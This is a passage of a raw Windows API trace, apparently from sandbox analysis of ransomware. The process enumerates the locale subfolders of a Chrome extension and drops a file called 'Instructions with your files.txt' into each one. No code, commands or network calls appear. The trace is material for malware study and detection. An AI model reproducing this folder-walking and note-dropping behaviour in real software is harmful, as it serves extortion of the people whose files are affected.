[0129.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 156
[0129.271] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.271] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\Instructions with your files.txt") returned 175
[0129.271] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.272] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.272] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.273] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.273] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.273] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.273] CloseHandle (hObject=0x134) returned 1
[0129.273] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.273] GetProcessHeap () returned 0x810000
[0129.273] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.273] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.273] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned 142
[0129.273] GetProcessHeap () returned 0x810000
[0129.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.273] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*") returned 144
[0129.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\.") returned 144
[0129.274] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\..") returned 145
[0129.274] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 156
[0129.274] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.274] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.274] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\Instructions with your files.txt") returned 175
[0129.274] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.275] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.275] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.276] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.276] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.276] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.276] CloseHandle (hObject=0x134) returned 1
[0129.276] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.276] GetProcessHeap () returned 0x810000
[0129.276] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.276] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0129.276] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned 142
[0129.276] GetProcessHeap () returned 0x810000
[0129.276] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.276] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*") returned 144
[0129.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.276] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\.") returned 144
[0129.276] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\..") returned 145
[0129.277] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 156
[0129.277] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.277] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.277] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\Instructions with your files.txt") returned 175
[0129.277] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.277] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.278] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.278] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.278] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.278] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.278] CloseHandle (hObject=0x134) returned 1
[0129.278] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.278] GetProcessHeap () returned 0x810000
[0129.279] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.279] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0129.279] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned 142
[0129.279] GetProcessHeap () returned 0x810000
[0129.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.279] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*") returned 144
[0129.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\.") returned 144
[0129.280] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\..") returned 145
[0129.280] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 156
[0129.280] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.280] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.280] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\Instructions with your files.txt") returned 175
[0129.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.280] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.281] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.281] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.281] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.281] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.281] CloseHandle (hObject=0x134) returned 1
[0129.282] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.282] GetProcessHeap () returned 0x810000
[0129.282] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.282] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0129.282] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned 142
[0129.282] GetProcessHeap () returned 0x810000
[0129.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
